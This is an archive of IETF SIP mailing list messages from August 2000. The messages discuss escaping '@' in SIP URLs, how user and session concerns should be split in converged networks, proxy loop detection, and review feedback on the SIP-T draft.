------_=_NextPart_001_01BFFBE1.4D03C2EE-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 20:42:29 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA22197 for ; Tue, 1 Aug 2000 20:42:29 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0A56044364; Tue, 1 Aug 2000 20:42:14 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchangesvr.nuera.com (unknown [204.216.240.124]) by lists.bell-labs.com (Postfix) with ESMTP id 4AF314433B for ; Tue, 1 Aug 2000 20:42:11 -0400 (EDT) Received: by exchangesvr.nuera.com with Internet Mail Service (5.5.2650.21) id <3T7JFYMW>; Tue, 1 Aug 2000 17:43:15 -0700 Message-ID: From: "Fairlie-Cuninghame, Robert" To: "'Ajay Chitturi'" , Henning Schulzrinne , "Fairlie-Cuninghame, Robert" Cc: Gethin Liddell , sip@lists.bell-labs.com Subject: RE: [SIP] Change in SIP URL syntax Date: Tue, 1 Aug 2000 17:43:14 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com I agree. I don't believe that the @ should just be escaped when it causes an ambiguity (as determined by the generating SIP implementation) but rather should always be escaped when it appears in the parameters or URL headers. Simpler is better, right ? I think this is the point we didn't get concrete resolution on last time. Robert. -----Original Message----- From: Ajay Chitturi [mailto:ajaych@Exchange.Microsoft.com] Sent: Wednesday, August 02, 2000 1:53 AM To: Henning Schulzrinne; Fairlie-Cuninghame, Robert Cc: Gethin Liddell; sip@lists.bell-labs.com Subject: RE: [SIP] Change in SIP URL syntax After going through the earlier discussion pointed to by Gethin, my understanding is that "@" should be removed from param-unreserved and hnv-unreserved on page 18. Is this correct ? Thanks -----Original Message----- From: Henning Schulzrinne [ mailto:schulzrinne@cs.columbia.edu ] Sent: Tuesday, August 01, 2000 6:32 AM To: Fairlie-Cuninghame, Robert Cc: 'Gethin Liddell'; Ajay Chitturi; sip@lists.bell-labs.com Subject: Re: [SIP] Change in SIP URL syntax The current version of the text (to be -01) says ... The set of characters not reserved in the RFC 2806 description of \header{telephone-subscriber} contains a number of characters in various syntax elements that need to be escaped when used in SIP URLs, for example quotation marks (\%22), hash (\%23), colon (\%3a), at-sign (\%40) and the ``unwise'' characters, i.e., punctuation of \%5b and above. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 21:49:31 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA07641 for ; Tue, 1 Aug 2000 21:49:30 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 21E4F4437E; Tue, 1 Aug 2000 21:49:19 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from printfile.ietf.marconi.com (printfile.ietf.marconi.com [147.73.128.4]) by lists.bell-labs.com (Postfix) with ESMTP id D67414433B for ; Tue, 1 Aug 2000 21:49:11 -0400 (EDT) Received: from cs.columbia.edu (wireless-134-39.ietf.marconi.com [147.73.134.39]) by printfile.ietf.marconi.com (8.9.3/8.9.3) with ESMTP id VAA05181; Tue, 1 Aug 2000 21:48:51 -0400 (EDT) Message-ID: <39877F0B.49C0AEB1@cs.columbia.edu> Date: Tue, 01 Aug 2000 21:53:15 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: "Fairlie-Cuninghame, Robert" Cc: "'Ajay Chitturi'" , Gethin Liddell , sip@lists.bell-labs.com Subject: Re: [SIP] Change in SIP URL syntax References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit The current version reads: hname = 1*( hnv-unreserved | unreserved | escaped ) hvalue = *( hnv-unreserved | unreserved | escaped ) hnv-unreserved = "[" | "]" | "/" | "?" | ":" | "+" | "$" Thus, @ MUST be escaped (if it doesn't have syntax significance). It is also listed as a separator. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 21:55:58 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA08435 for ; Tue, 1 Aug 2000 21:55:57 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id BAF06443A4; Tue, 1 Aug 2000 21:55:46 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from rly-ip02.mx.aol.com (rly-ip02.mx.aol.com [152.163.225.160]) by lists.bell-labs.com (Postfix) with ESMTP id 990684433B for ; Tue, 1 Aug 2000 21:55:43 -0400 (EDT) Received: from tot-tj.proxy.aol.com (tot-tj.proxy.aol.com [152.163.213.131]) by rly-ip02.mx.aol.com (8.8.8/8.8.8/AOL-5.0.0) with ESMTP id VAA06982; Tue, 1 Aug 2000 21:55:10 -0400 (EDT) Received: from orit (ACA96D98.ipt.aol.com [172.169.109.152]) by tot-tj.proxy.aol.com (8.10.0/8.10.0) with SMTP id e721t8L14557; Tue, 1 Aug 2000 21:55:08 -0400 (EDT) Message-ID: <008601bffc26$815ee560$1ed5fea9@orit.us.radvision.com> Reply-To: "Orit Levin" From: "Orit Levin" To: , "SIP reflector" Date: Tue, 1 Aug 2000 22:08:07 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0083_01BFFC04.F90E5CC0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 X-Apparently-From: OritOrit@aol.com Subject: [SIP] IMPP:Following the long WG session Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a multi-part message in MIME format. ------=_NextPart_000_0083_01BFFC04.F90E5CC0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello! Before the 9 experts start their work, I suggest to slice things = slightly different. This is in order to be able "to compare" the different protocols in a = more efficient way. We all (providers and users) have the vision of the future "Converged = Communication Network". Voice, Video, IM, Presence, Mail are all different services in this = envisioned infrastructure. Each of these Services has (slightly) different "Session" (or "Call = Signaling") requirements. This "Session" piece is the smaller part of the whole "Communication = Infrastructure" puzzle. The crucial and the more sophisticated part of the desired "Converged = Network", is the User definition and User's interface with the = "Converged Network". Only a definition of a common "User" concept across = the Services will make the Convergence real. - This "User" part is NOT Session (or "Call") related - This "User" part includes (among others) Mobility ( achieved by a = Subscription/Registration concept) and the User Identification = functions. Today, SIP defines things beyond "Session" establishment, i.e. Sip = defines both the "User" and the "Session" parts of the puzzle. Based on all this, I suggest to slice the problem into the two "User" = and "Session" questions below: (1) What is the solution for the "User" part of the puzzle? Would we = like to adopt SIP's solution as the solution for the converged networks? = Do we need to expand it? Would we like introduce/reuse something = different? (2) What is the solution for the different kinds of "Sessions" = establishment? SIP definitely addresses "voice sessions". SMTP = definitely addresses "mail sessions". For the sessions of other nature, it can be either SIP extended = version(s) or another specific protocols. Being able to resolve the = "User" issues, the Session part of the puzzle becomes invisible to the = user, much smaller, simpler (and therefore the solution itself is less = crucial). Best Regards, Orit Levin RADVision Inc. 575 Corporate Drive Suite 420 Mahwah, NJ 07430 Tel: 1 201 529 4300 (230) Fax: 1 201 529 3516 www.radvision.com orit@radvision.com ------=_NextPart_000_0083_01BFFC04.F90E5CC0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello!
Before the 9 experts start their work,=20 I suggest to slice things slightly different.
This is in order to be able "to compare" the = different=20 protocols in a more efficient way.
 
We all (providers and users) have the vision of the = future=20 "Converged Communication Network".
Voice, Video, IM, Presence, Mail are all different=20 services in this envisioned infrastructure.
 
Each of these Services has (slightly) different=20 "Session" (or "Call Signaling")=20 requirements.
This "Session" piece is the smaller part of the = whole=20 "Communication Infrastructure" puzzle.
 
The crucial and the more sophisticated part of = the=20 desired "Converged Network", is the User definition and User's = interface=20 with the "Converged Network". Only a definition of a common=20 "User" concept across the Services will = make the=20 Convergence real.
-    This "User" part is NOT = Session (or=20 "Call") related
-    This "User" part includes = (among=20 others) Mobility ( achieved by a = Subscription/Registration=20 concept) and the User Identification = functions.
 
Today, SIP defines things beyond "Session" = establishment, i.e.=20 Sip defines both the "User" and the "Session" parts of the = puzzle.
 
Based on all this, I suggest to slice the = problem into=20 the two "User" and "Session" questions=20 below:
 
(1) What is the solution for the "User" part of the = puzzle?=20 Would we like to adopt SIP's solution as the solution for the converged=20 networks? Do we need to expand it? Would we = like introduce/reuse=20 something different?
(2) What is the solution for the different kinds of = "Sessions"=20 establishment? SIP definitely addresses "voice sessions". SMTP definitely addresses "mail = sessions".
For the sessions of other nature, it can be either = SIP=20 extended version(s) or another specific protocols. Being able to=20 resolve the "User" issues, the Session part of the = puzzle becomes=20 invisible to the user, much smaller, simpler (and therefore the solution = itself=20 is less crucial).
 
Best Regards,
Orit Levin
RADVision Inc.
575 Corporate Drive = Suite=20 420
Mahwah, NJ 07430
Tel: 1 201 529 4300  (230)
Fax: 1 201 = 529=20 3516
www.radvision.com
orit@radvision.com
------=_NextPart_000_0083_01BFFC04.F90E5CC0-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 23:10:44 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA19589 for ; Tue, 1 Aug 2000 23:10:43 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E601E443BB; Tue, 1 Aug 2000 23:08:38 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by lists.bell-labs.com (Postfix) with ESMTP id 9DE954433B for ; Tue, 1 Aug 2000 23:08:34 -0400 (EDT) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id XAA27245; Tue, 1 Aug 2000 23:08:30 -0400 (EDT) Message-Id: <200008020308.XAA27245@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: "Orit Levin" Cc: impp@iastate.edu, "SIP reflector" In-reply-to: Your message of "Tue, 01 Aug 2000 22:08:07 EDT." <008601bffc26$815ee560$1ed5fea9@orit.us.radvision.com> X-SUBJECT-MSG-FROM: "Orit Levin" Date: Tue, 01 Aug 2000 23:08:30 -0400 Subject: [SIP] Re: IMPP:Following the long WG session Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com I generally agree with your assessment of user vs. session issues - in particular the need to have a common naming infrastructure to make cross-service integration work. The trick is to make this infrastructure one which will handle the needs of the several services that one might want integrated under a common namespace. (and without favoring certain kinds of service providers over others) Keith _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 00:48:12 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA10813 for ; Wed, 2 Aug 2000 00:48:12 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0FE1B443BB; Wed, 2 Aug 2000 00:48:02 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226]) by lists.bell-labs.com (Postfix) with ESMTP id 2458C4433B for ; Wed, 2 Aug 2000 00:47:56 -0400 (EDT) Received: from computer.ix.netcom.com (pool-207-205-218-164.pbgh.grid.net [207.205.218.164]) by blount.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id AAA14245; Wed, 2 Aug 2000 00:45:20 -0400 (EDT) Message-Id: <4.3.1.2.20000801232827.00be17b0@127.0.0.1> X-Sender: rshockey/popd.ix.netcom.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.1 Date: Tue, 01 Aug 2000 23:29:19 -0500 To: Keith Moore , "Orit Levin" From: Richard Shockey Cc: impp@iastate.edu, "SIP reflector" In-Reply-To: <200008020308.XAA27245@astro.cs.utk.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [SIP] Re: IMPP:Following the long WG session Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 11:08 PM 8/1/2000 -0400, Keith Moore wrote: >I generally agree with your assessment of user vs. session issues - >in particular the need to have a common naming infrastructure >to make cross-service integration work. The trick is to make this >infrastructure one which will handle the needs of the several >services that one might want integrated under a common namespace. >(and without favoring certain kinds of service providers over others) > >Keith Keith I think this question was ruled out of scope by popular acclimation in the WG discussion. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Please Note New Contact Information: Richard Shockey Shockey Consulting LLC 5237 Sutherland St. Louis, MO 63109 Voice 314.503.0640 eFAX Fax to EMail 815.333.1237 (Preferred for Fax) INTERNET Mail & IFAX : rshockey@ix.netcom.com <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 03:33:09 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA04759 for ; Wed, 2 Aug 2000 03:33:09 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 159AD4433B; Wed, 2 Aug 2000 03:33:04 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by lists.bell-labs.com (Postfix) with ESMTP id 6596344338 for ; Wed, 2 Aug 2000 03:33:00 -0400 (EDT) Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id e727Wwp09791 for ; Wed, 2 Aug 2000 09:32:58 +0200 (MEST) Received: from ericsson.fi (E0080C7FA22D6.lmf.ericsson.se [131.160.30.144]) by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id KAA17703 for ; Wed, 2 Aug 2000 10:32:58 +0300 (EET DST) Message-ID: <3987CE5E.9470FF8@ericsson.fi> Date: Wed, 02 Aug 2000 10:31:42 +0300 From: Hisham Khartabil X-Mailer: Mozilla 4.61 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: sip@lists.bell-labs.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] Legal Loop Detection Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi all, In section 1.4.5 in the July 13 bis draft, its says: "...A proxy server MUST check that it does not generate a request to a host listed in the Via sent-by, via-received or via-maddr parameters.." Is this still true with the new legal loop detection? As we know now, it is legal to forward a request to a proxy that is already in the via list. It is up to that proxy to decide if this request has been looped to it legally or not. So, should this text be changed, or ever removed? Thanks, Hisham Khartabil _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 07:18:00 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA27180 for ; Wed, 2 Aug 2000 07:18:00 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7225E4436D; Wed, 2 Aug 2000 07:17:17 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from june.Broomfield1.level3.net (june.Broomfield1.Level3.net [209.245.18.7]) by lists.bell-labs.com (Postfix) with ESMTP id 16ADA44338 for ; Wed, 2 Aug 2000 07:17:14 -0400 (EDT) Received: from f1ee40-03.idc1.level3.com (hme0.f1ee40-03.idc1.oss.level3.com [10.1.144.140]) by june.Broomfield1.level3.net (8.9.3/8.9.3) with ESMTP id LAA26623; Wed, 2 Aug 2000 11:00:26 GMT From: Aparna.Vemuri@Level3.com Received: from n0195idc1.oss.level3.com (localhost [127.0.0.1]) by f1ee40-03.idc1.level3.com (8.8.8+Sun/8.8.8) with ESMTP id FAA07662; Wed, 2 Aug 2000 05:00:26 -0600 (MDT) Received: by n0195idc1.oss.level3.com with Internet Mail Service (5.5.2650.21) id ; Wed, 2 Aug 2000 05:02:10 -0600 Message-ID: To: adamr@yahoo.com, Jon.Peterson@Level3.com Cc: adam.roach@ericsson.com, sip@lists.bell-labs.com Subject: RE: [SIP] SIP-T Draft Feedback Date: Wed, 2 Aug 2000 05:00:24 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Adam, Thank you for your close reading of the document and your comments. Please look at my notes on yours. Aparna Aparna V. Level (3) Communications. -----Original Message----- From: Adam Roach [mailto:adamr@yahoo.com] Sent: Monday, July 31, 2000 12:38 PM To: Vemuri, Aparna; Peterson, Jon Cc: adam.roach@ericsson.com; sip@lists.bell-labs.com Subject: [SIP] SIP-T Draft Feedback Comments about draft-vemuri-sip-t-context-00.txt: - On page 5, the point about "PSTN origination" should make mention that some ISUP modifications may occur to sync up with changes made by SIP proxies in the SIP network. [AV]: I think you refer to the changes that might be made to bring the ISUP in line with the SIP messaging that encompasses it. I believe that the SIP headers will be in tune with the ISUP at the ingress MGC that performs the translation between the two. The SIP headers could subsequently undergo modification that would then result in a conflict between the SIP and ISUP. I am not sure if it is appropriate to explain this with the 'PSTN origination' point. We do touch upon this later (in section 6.2, to be precise) and I think we could re-phrase or re-position this in order for this to be more suitable. - In the call flows, you tend to map ACM messages to "183 Session Progress." In practice, ACMs typically have indication of "Subscriber free," which *should* map to "180 Ringing." Admittely, you don't have any ISUP parameters detailed in the call flows, but I think you shouldn't be using the exceptional cases to illustrate call flows. .....OK. - On page 10, there's a minor cut and paste error where the final BYE response is listed as BYE. [AV]: This will be corrected. - Also in the call flow in page 10, note that the 200 response for BYE is used only for reliability; in ISUP, the RLC is used to indicate that a circuit is available for re-use. In most circumstances, it doesn't make sense to hold off the 200 response to the BYE until the RLC arrives. [AV]: Thanks for pointing this out. This will be rectified. - On page 14: I just want to bring your attention to the fact that much of the header mapping is already present in Gonzalo's and my draft. [AV]: It would be nice if we could talk about this some more. - Also on page 14: it should be mentioned that encryption should be used for ISUP bodies. [AV]: I think we should study the ramifications of doing this some more along with determining what the regulatory issues concerning ISUP are. I do not think end-to-end encryption will work, essentially because the originating MGC may not know where the call may terminate, and usage of hop-by-hop encryption (and consequent removal or modification of ISUP) could require the proxies to examine the bodies. Another option, I think, would be to have an error message generated when the call hits a 'non-encrypted hop' and to have the originator resend the INVITE with the appropriate modifications..... I think a few such options were put forth in a discussion on the list before. Our thoughts were that this kind of situation would be averted if a network managed the registration of end-points and enforced trust relationships and policy with users. Network edges could employ means to strip off the ISUP where necessary... All in all, this is something that needs some more work. - Section 6.2: It seems a bit odd to have a special purpose application server "fixing" the ISUP before it goes to the egress gateway. Since this gateway is already having to unpack the ISUP and (to some degree) understand it, it makes the most sense to perform that function in the MGC. [AV]: Our intention was NOT to mandate that an AS (Appln. Server) be used to do this job. We were only trying to make a suggestion that an AS may be used for this purpose. There may be multiple ways to do this. The text may need to be re-phrased accordingly. - On note 9: in Gonzalo's and My draft, we specify that any informationthat shouldn't be presented also shouldn't be mapped into SIP headers. I beleive this is a non-issue, as long as the ISUP bodies are encrypted. [AV]: I think that will be the case as long as the information is not mandatory for SIP. Specifically, (as far as note 9 goes) I do not think that the 'userinfo' part (of userinfo@host) is required in the SIP 'From'. This (the note) may need to be pulled out. Comments, Adam, Jon, SIP WG? Thanks for the good work! [AV]: Thank you! Aparna _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 08:58:52 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA00454 for ; Wed, 2 Aug 2000 08:58:52 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id F12AD4435A; Wed, 2 Aug 2000 08:58:46 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by lists.bell-labs.com (Postfix) with ESMTP id 0FCFB44338 for ; Wed, 2 Aug 2000 08:58:44 -0400 (EDT) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id IAA00779; Wed, 2 Aug 2000 08:58:41 -0400 (EDT) Message-Id: <200008021258.IAA00779@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Richard Shockey Cc: Keith Moore , "Orit Levin" , impp@iastate.edu, "SIP reflector" In-reply-to: Your message of "Tue, 01 Aug 2000 23:29:19 CDT." <4.3.1.2.20000801232827.00be17b0@127.0.0.1> Date: Wed, 02 Aug 2000 08:58:40 -0400 Subject: [SIP] Re: IMPP:Following the long WG session Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com > Keith I think this question was ruled out of scope by popular acclimation > in the WG discussion. sorry, I didn't get that at all. Keith _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 09:28:13 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA10241 for ; Wed, 2 Aug 2000 09:28:12 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DA6F5443A8; Wed, 2 Aug 2000 09:27:34 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from localhost.localdomain (wired-129-175.ietf.marconi.com [147.73.129.175]) by lists.bell-labs.com (Postfix) with ESMTP id DD44144338 for ; Wed, 2 Aug 2000 09:27:28 -0400 (EDT) Received: from ecal.com (localhost [127.0.0.1]) by localhost.localdomain (8.9.3/8.9.3) with ESMTP id JAA06676; Wed, 2 Aug 2000 09:28:45 -0400 Message-ID: <3988220C.D6E49747@ecal.com> Date: Wed, 02 Aug 2000 09:28:45 -0400 From: John Stracke X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i586) X-Accept-Language: en MIME-Version: 1.0 To: impp@iastate.edu Cc: SIP reflector References: <4.3.1.2.20000801232827.00be17b0@127.0.0.1> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] Re: IMPP:Following the long WG session Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Richard Shockey wrote: > Keith I think this question was ruled out of scope by popular acclimation > in the WG discussion. It was ruled out of scope for the meeting, by the meeting attendees. The meeting is not the WG. -- /=================================================================\ |John Stracke | http://www.ecal.com |My opinions are my own. | |Chief Scientist |================================================| |eCal Corp. |No matter how tempting the prospect of unlimited| |francis@ecal.com|power, I will not consume any energy field | | |bigger than my head. | \=================================================================/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 09:34:19 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA12248 for ; Wed, 2 Aug 2000 09:34:19 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 31BF8443B3; Wed, 2 Aug 2000 09:33:28 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from joy.songbird.com (joy.songbird.com [208.184.79.7]) by lists.bell-labs.com (Postfix) with ESMTP id E043344338 for ; Wed, 2 Aug 2000 09:33:23 -0400 (EDT) Received: from dcrocker.dcrocker.net (wireless-134-122.ietf.marconi.com [147.73.134.122]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id GAA23837; Wed, 2 Aug 2000 06:33:16 -0700 Message-Id: <4.3.2.20000802092605.00c7b7f0@joy.songbird.com> X-Sender: dhc@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 4.3 Date: Wed, 02 Aug 2000 09:26:32 -0400 To: Richard Shockey From: Dave Crocker Cc: Keith Moore , "Orit Levin" , impp@iastate.edu, "SIP reflector" In-Reply-To: <4.3.1.2.20000801232827.00be17b0@127.0.0.1> References: <200008020308.XAA27245@astro.cs.utk.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [SIP] Re: IMPP:Following the long WG session Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 11:29 PM 8/1/00 -0500, Richard Shockey wrote: >Keith I think this question was ruled out of scope by popular acclimation >in the WG discussion. one of the few demonstrations of strong IMPP working group consensus... d/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 2 09:56:06 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA20084 for ; Wed, 2 Aug 2000 09:56:06 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A647744367; Wed, 2 Aug 2000 09:55:52 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mailman.cisco.com (mailman.cisco.com [171.68.225.9]) by lists.bell-labs.com (Postfix) with ESMTP id 1067144338 for ; Wed, 2 Aug 2000 09:55:49 -0400 (EDT) Received: from [147.73.133.93] (ssh.cisco.com [171.69.10.34]) by mailman.cisco.com (8.9.3/8.9.1) with ESMTP id GAA20779; Wed, 2 Aug 2000 06:55:36 -0700 (PDT) Mime-Version: 1.0 X-Sender: pfaltstr@127.0.0.1 Message-Id: In-Reply-To: <3988220C.D6E49747@ecal.com> References: <4.3.1.2.20000801232827.00be17b0@127.0.0.1> <3988220C.D6E49747@ecal.com> Date: Wed, 2 Aug 2000 09:54:44 -0400 To: John Stracke , impp@iastate.edu From: Patrik =?iso-8859-1?Q?F=E4ltstr=F6m?= Cc: SIP reflector Content-Type: text/plain; charset="us-ascii" ; format="flowed" Subject: [SIP] Re: IMPP:Following the long WG session Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 09.28 -0400 00-08-02, John Stracke wrote: >Richard Shockey wrote: > >> Keith I think this question was ruled out of scope by popular acclimation >> in the WG discussion. > >It was ruled out of scope for the meeting, by the meeting attendees. The >meeting is not the WG. Can this mailing list please stay focused on what is specified in the charter of the wg, and let the wg chairs and myself take care of the process. Thank you. 